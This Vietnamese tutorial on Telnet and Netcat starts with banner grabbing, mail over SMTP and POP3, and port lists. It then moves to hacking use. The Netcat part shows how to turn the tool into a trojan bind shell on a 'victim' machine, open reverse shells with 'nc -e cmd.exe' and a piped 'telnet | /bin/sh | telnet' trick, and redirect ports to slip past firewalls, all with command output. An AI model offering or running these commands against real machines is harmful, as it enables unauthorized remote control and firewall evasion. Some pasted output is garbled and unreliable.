Xem mẫu
- Telnet là gì?
Telnet là một chương trình terminal đầu cuối. Nó thường dùng để login vào một máy chủ nào đó trên các
daemon khác nhau của máy chủ đó! Trong bài viết này, tôi sẽ chỉ cho bạn cách thu thập một số thông tin
về máy chủ qua telnet. Bạn cũng sẽ được cách check mail, gởi mail và đặc biệt là có thể tham gia vào các
kênh chat IRC của nước ngoài nữa đó! Tất cả chỉ bằng Telnet!
Daemon là gì?
Daemon(hay còn được gọi là "service") là một chương trình chạy trên một cổng nhất định nào đó. Nó sẽ
chịu đáp ứng lại mọi yêu cầu của client khi client này kết nối đến server trên cổng đó. Ví dụ như smtp
daemon theo mặc định chạy trên cổng 25. Để có thể check mail, máy của bạn phải kết nối đến server này
trên cổng 25, cổng mà smtp daemon đang nắm giữ!
Một số lệnh cơ bản của Telnet
Đây là một số lệnh cơ bản của Telnet mà bạn cần nhớ!
close đóng kết nối hiện tại
logout
display hiển thị các tham số điều khiển
mode thay đổi mode kí tự
open kết nối đến một site
quit thoát telnet
send gởi các kí tự đặc biệt
set đặt các tham số điều khiển
unset gở bỏ các tham số điều khiển đã đặt
status cho biết các thông tin về trạng thái hiện tại
toggle chốt các tham số điều khiển
slc thay đổi trạng thái của các kí tự đặc biệt
z pause telnet
! tạo một subtelnet(telnet con)
environ thay đổi các biến trạng thái
? gọi hướng dẫn sử dụng telnet
- (Để biết thêm thông tin về telnet, bạn hãy gõ "man telnet" trong Linux*)
Phát hiện WEB SERVER bằng telnet
http://www.tnh.com.vn/ đang dùng web server g ì nhỉ? Bạn hãy mở "MS-DOS Prompt" và gõ vào:
C:\> telnet www.tnh.com.vn 80
Chúng ta telnet đến http://www.tnh.com.vn/ ở cổng 80!
Tiếp theo bạn gõ vào "GET / HTTP/1.1"(không có dấu nháy ") và nhấn phím hai lần, bạn sẽ nhận
được những thông tin sau:
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Wed, 04 Jul 2001 06:52:31 GMT
Content-Type: text/html
Content-Length: 87
ErrorThe parameter is incorrect.
Connection to host lost.
Hãy xem chúng ta thu thập được những gì?
dòng 1: phiên bản của http service: HTTP/1.1 (có khi là PHP/4.0). Đây là mã trạng thái HTML
dòng 2: http server, Microsoft -IIS/4.0
dòng 3: ngày giờ +GTM
dòng 4: phân loại nội dung
dòng 5: chiều dài của các kí tự
Chỉ cần để ý đến dòng 2, bạn có thể biết chắc ăn 100% là http://www.tnh.com.vn/ đang chạy IIS v4.0!
(Lưu ý: bạn hãy bật chế độ ghi nhật kí cho Telnet, mắt bạn không t ài nào nhìn thấy được các dòng trên
- đâu! Nó hiện ra quá nhanh...! Hãy vào Terminal/Start Logging... và chỉ định một file nhật kí cho
Telnet...!)
Bây giờ bạn thử telnet đến http://www.astalavista.box.sk/ xem sao?!
C:\> telnet www.astalavista.box.sk 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Wed, 04 Jul 2001 06:51:37 GMT
Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
Bạn có thể thấy ngay là http://www.astalavista.box.sk/ đang chạy Apache v1.3.19 trên nền Unix cùng với
PHP v4.0.4!
Download và upload file bằng Telnet
Nếu bạn biết chính xác địa chỉ của một file trên http server, bạn có thể download nó về bằng cách telnet
đến http server đó (ở cổng 80) và gõ vào theo dạng sau "HEAD
HTTP/1.1" thay cho "GET / HTTP/1.1". Ví dụ như "HEAD /wordlist.txt HTTP/1.1"
Nếu http server cho phép bạn upload file(thường thì không có chuyện này đâu!), bạn hãy dùng lệnh "PUT"
để upload file lên. Ví dụ như "PUT /contact.htm HTTP/1.1"
Gởi thư bằng Telnet(dùng SMTP)
SMTP - Simple Mail Transfer Protocol là một daemon thường dùng để send mail. Cổng mặc định của nó
là 25. Okay, bây giờ bạn hãy mở telnet đi!
C:\> telnet mail.newmail.net 25
------ connected ------
- 220 digital Microsoft ESMTP MAIL Service, Version: 5.0.2195.1600 ready at Wed,
4 Jul 2001 18:47:27 +1000
-----------------------
dòng 1: mã số trạng thái 220: digital(domain hoặc địa chỉ ip của server): esmtp(extended) version
5.0.2195.1600
dòng 2: thời gian +GMT
Bây giờ thì bạn cần phải biết một số lệnh của smtp. Hãy gõ vào lệnh '?(hoặc '/?') và 'help' để gọi hướng
dẫn! Tiếp theo, hãy send mail...!
----- các lệnh ------
HELO server.com (x authentication)
MAIL FROM: admin@server.com (địa chỉ email của người gởi)
RCPT TO: victim@victimserver.net (địa chỉ email của người nhận)
DATA (các dữ liệu trong thư)
SUBJECT email subject (dòng subject)
một message cơ bản, cũng có khi là giả mạo
. (kết thúc message bằng một dòng chỉ có một dấu chấm '.')
----------------------
(Tôi không đề cập chi tiết cách gởi thư nặc danh ở đây, bạn hãy tham khảo bài viết "Gởi thư nặc danh và
dội bom thư bằng Sendmail" sẽ rõ!)
Nhận thư qua Telnet(dùng POP3)
POP3 - Post Office Protocol Version 3. POP3 daemon thường được chạy ở cổng 110(đây là cổn chuẩn của
nó). Để check mail, bạn phải kết nối đến server đang chạy POP3 daemon ở cổng 110!
C:\> telnet mail.newmail.net 110
- ------ connected ------
+OK DPOP Version number supressed.
-----------------------
Bây giờ thì bạn có thể vào check mail được rồi đó! Hãy xem qua các lệnh sau:
----- các lệnh ------
USER username (username của bạn)
+OK dazzed nice to hear from you - password required
PASS password (mật khẩu để vào hòm thư của bạn)
+OK password accepted
LIST (liệt kê tất cả các thư)
1. 3045bytes
2. 345bytes
3. 8837bytes
RETR 2 (đọc lá thư thứ 2)
----------------------
Dễ không?
Tham gia vào các kênh chat IRC của nước ngoài!
Hãy theo tôi..!
Đầu tiên bạn telnet đến nether.net, đăng nhập với t ên login là newuser và tạo một account cho bạn!
C:\> telnet nether.net
login: newuser
Okay, bây giờ hãy login vào với shell account mà bạn vừa đăng kí và chat IRC!
- IRC
mở IRC client
/SERVER irc.box.sk 6667
kết nối đến irc.box.sk ở cổng 6667
/NICK Dazzed
hãy chọn một nickname...!
/JOIN #lameindustries
bây giờ hãy tham gia vào kênh chat mà bạn muốn!
Port surfing(duyệt cổng)
Port surfing nghĩa là kết nối đến các cổng của một máy chủ để thu thập các thông tin, chẳng hạn như thời
gian, hệ điều hành, các dịch vụ đang chạy, ...! Sau đây là danh sách một số cổng mà bạn nên biết!
Interesting ports
7 echo bất kì những gì bạn nhập vào sẽ được host gởi trả lại(echo) bạn, không hữu ích cho lắm!
11 systat rất nhiều thông tin về users
13 daytime thời gian và ngày tháng ở máy chủ
15 netstat thông tin về networks
21 ftp file transfer protocol
23 telnet nơi bạn có thể login.
25 smpt simple mail transfer protocol
37 time time
39 rlp resource location
43 whois thông tin về hosts và networks
53 domain nameserver
79 finger rất nhiều thông tin về users (thường bị disable)
80 http web server
110 pop incoming email
119 nntp usenet news groups
443 https một web server khác nhưng an toàn hơn!
512 biff mail notification
513 rlogin - remote login
- 514 shell remote command, không cần dùng mật khẩu! syslog remote system logging
520 route routing information protocol
Cách sử dụng telnet và ứng dụng :
1- Giới thiệu:
Telnet là một chương trình cho phép bạn kết nối và đăng nhập vào một máy tính ở xa (trong LAN,
internet). Khi kết nối thành công, máy tính của bạn sẽ thực hiện chức năng như trạm trung gian để gửi yêu
cầu đến máy tính ở xa.
Bạn có thể dùng máy tính của mình để truy cập thông tin, thực thi các chương trình và sử dụng một số tài
nguyên khác trên máy tính ở xa.
2- Sử dụng telnet:
Bắt đầu từ command prompt, gõ vào telnet, nếu bạn dùng 9x, nó sẽ đưa bạn vào trình windows telnet. Bạn
cũng có thể chạy ở menu Start/Run.
Ở chế độ đánh lệnh, bạn có thể dùng các lệnh sau:
OPEN : mở một kết nốI đến máy tính ở xa, gọi là 1 telnet
session
CLOSE : đóng kết nối và trở về dấu nhắc đợI lệnh
QUIT: đóng kết nối và thoát telnet
: nhấn phím enter sẽ đưa bạn thoát khỏI chế độ dấu nhắc lệnh và trở lại telnet session
SET ECHO: bật/tắt chế độ hiện các lệnh đánh vào trong windows telnet. Lưu ý trong 2k sẽ là SET
LOCAL_ECHO
Để kết nối, ta dùng lệnh OPEN hoặc cũng có thể trực tiếp bằng lệnh
telnet
vd:
telnet anyhost.com 12345
Trying 123.123.112.12 port 12345
Connected to anyhost.com
- Escape character is….
Sau khi kết nối xong, bạn đã ở trong một telnet session. Có thể dùng kí tự escape ở trên để trở về dấu nhắc
lệnh.
3- Ứng dụng telnet để truy cập POP email:
a- Ðọc mail:
Các internet mail server cho phép truy cập thông qua giao thức POP (Post Office Protocol), cổng 110. Nếu
POP server bạn đang dùng là anyhost.com, thì ta sẽ dùng lệnh sau: telnet anyhost.com 110
Một số các lệnh có thể bạn cần dùng khi truy cập POP email
USER : mở hộp thư của username
PASS : mật khẩu cho hộp thư
LIST : liệt kê các emails trong hộp thư
RETR : xem thư có thứ tự là number, được liệt kê trong lệnh LIST
TOP : xem thư như RETR, nhưng dừng lại khi hiện được số dòng nhất
định
DELE : xóa thư có thứ tự number
QUIT : đóng telnet session
Ví dụ, ta sẽ truy cập vào yahoo để xem mail, ta thực hiện lệnh:
telnet pop.mail.yahoo.com 110 và chờ một chút...
Nếu thành công, bạn sẽ nhận được dòng thông tin sau:
+OK hello from popgate
Kể từ đây, nếu trước khi mở 1 telnet session, bạn có dùng SET ECHO, thì những gì bạn đánh vào sẽ hiện
lên, không thì bạn phải nhập các lệnh thật chính xác
Nhập tên user
USER w_hat95
+OK password required
Nhập mật khẩu
PASS anhyeuemnhieulam
+OK maildrop ready, 2 messages (2983 octets) (34232 2324232)
Ở đây, mail box của tôi có 2 tin, kế đến là tổng kích thước của các email, các số còn lại bạn không cần
- quan tâm
Bạn dùng lệnh list để liệt kê các email, bao gồm stt và size:
list
1 1728
2 1205
.
Ðể xem một mail có stt nào đó, bạn dùng lệnh retr
retr 1
Chờ một chút, bạn sẽ nhận được những thông tin đầy đủ về mail đó, bao gồm to àn bộ header và nội dung
vd:
+OK 1783 octets
X-Apparently-To: w_hat95@yahoo.com via web20306.mail.yahoo.com; 04 Jan 2002 23:4
8:08 -0800 (PST)
X-RocketRCL: 1037;1;2465408753
Received: from web11904.mail.yahoo.com (216.136.172.18)
by mta621.mail.yahoo.com with SMTP; 04 Jan 2002 23:48:08 -0800 (PST)
Message-ID:
Received: from [61.214.156.105] by web11904.mail.yahoo.com via HTTP; Fri, 04 Jan
2002 23:48:08 PST
Date: Fri, 4 Jan 2002 23:48:08 -0800 (PST)
From: Joel
Subject: Re: hi?
To: F M
In-Reply-To:
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0-888944639-1010216888=:34368"
......vvv
.
Về những thông tin trong email header,bạn tự tìm hiểu lấy! )
Nếu những thông tin liệt kê ở trên quá nhiều, bạn không kịp xem, hãy dùng lệnh top
để liệt kê theo số lượng dòng nhất định
vd: top 1 10 -> sẽ liệt kê 10 dòng đầu (kể cả header) của email số 1, sau khi hiện xong 10 dòng cho bạn
xem, chờ vài giây, nó sẽ tiếp tục hiện các dòng kế tiếp cho đến khi toàn bộ email được xem!?
- Ðể xóa 1 email, bạn dùng lệnh dele
vd: dele 2 -> sẽ xóa email thứ 2 trong danh sách
Sau khi check xong emails, bạn đóng telnet session bằng lệnh QUIT, bạn sẽ được đưa về dấu nhắc lệnh
Bất lợi của việc check email POP dùng telnet là bạn không có được giao diện dễ nhìn như các trình check
POP mail khác. Bạn cũng không thể trả lời từ các mail đã đọc được.
b- Gửi mail:
Tương tự như trên, các internet mail server sẽ cung cấp một giao thức là SMTP (Simple Mail Transfer
Protocol) cho phép bạn send email thông qua server đó, cổng 25.
Một số lệnh bạn cần dùng:
HELO : giới thiệu host, thông tin này không cần thiết
MAIL FROM:
RCPT TO:
DATA : sau khi enter, bạn nhập nội dung email. Sau khi nhập xong, muốn kết thúc,
bạn phải xuống hàng và nhập dấu chấm '.'
RSET xóa các thông tin lần gửi mới nhất, dùng khi bạn muốn gửi đến một người khác
QUIT : thoát
HELP xem trợ giúp về các lệnh, lệnh này tùy thuộc vào mail server bạn đang connect
Ví dụ, đối với yahoo:
Bạn thực hiện lệnh telnet smtp.mail.yahoo.com 25
Chờ một lúc, nếu kết nối thành công, bạn sẽ nhận được thông tin sau:
220 smtp011.mail.yahoo.com ESMTP
Kết nối:
helo smtp.mail.yahoo.com
250 smtp011.mail.yahoo.com
Nhập thông tin người gửi:
mail from: w_hat95@yahoo.com
250 ok
Nhập thông tin người nhận:
rcpt to: joel@yahoo.com Joel
250 ok
- Nhập nội dung:
data blsdfsdfsd
354 go ahead
Subject: hi Joel, how r u these days?
Hi Joel,
R u busy this late evening?
If ur free, get to Mo^.ng Mo* bar. I need to talk to you.
See ya,
W_Hat
.
250 ok 1010373599 qp 48077
Ðóng telnet session
Quit
Bạn có thể thao khảo một ví dụ về send mail thông qua SMTP
tại: http://www.kbcafe.com/articles/smtp.html
ps: các ví dụ trên đã test trên Windows 2000, các bạn có thể thực hiện tương tự trên Windows 9x. Tùy
mail server mà các thông tin xác nhận và thông báo các lệnh của bạn có thể khác nhau.
- Hướng dẫn sử dụng Netcat
1. Giới thiệu
Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết
một chút về Netcat
--------------------------------------------------------------------------------
2. Biên dịch
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat .c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong
file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là
xong.
--------------------------------------------------------------------------------
3. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
- port numbers can be individual or ranges: m-n [inclusive]
* Cú pháp:
- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
* Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh
Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd),
telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM,
USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến
telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
--------------------------------------------------------------------------------
4. Các ví dụ:
4.1 Chộp banner của web server
Ví dụ: nc đến 172.16.84.2, cổng 80
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa)
- C:\>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0 -cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t -Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content -Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t -Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
4.2 Quét cổng
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS.
Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
- (UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
4.3 Biến Netcat thành một trojan
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p
port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành
1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix).
Ví dụ:
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng
hạn như 8080
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
- C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK
Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy
nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau
mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp
dụng cho bản chạy trên Linux.
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...
- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa
chỉ nguồn là -s . Ví dụ:
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163
- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần
login vào với 1 username bình thường khởi động Netcat là xong.
- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm
việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
--------------------------------------------------------------------------------
5. Kĩ thuật tiên tiến
5.1 Telnet nghịch chuuyển
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch
chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cửa sổ Netcat (1)
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from [172.16.84.2] 1055
pwd
ls -la
_
- + cửa sổ Netcat (2)
C:\>nc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/
total 171
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .
drwxr-xr-x 17 root root 4096 Feb 5 16:15 ..
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²?
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²?
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²?
drwx------ 12 root root 4096 Feb 5 16:24 root
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var
- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng
/bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80
kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công
trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết
quả trong cửa sổ Netcat (2).
Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.
5.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall
chặn:
- C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để
đổ shell:
E:\>nc -e cmd.exe 172.16.84.1 80
Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp
này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.
C:\>nc -nvv -l -p 80
listenning pm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E :\>
5.3 Đổi hướng cổng
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:
- chạy nc trên cổng bất kì:
E:\>nc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...
- chạy tunnel hoặc fpipe để đổi hướng cổng
C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234
C:\>fpipe -l 53 -r 1234 127.0.0.1
tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà
netcat đang lắng nghe.
Đổi hướng cổng là một cách để đi vòng qua firewalls.
nguon tai.lieu . vn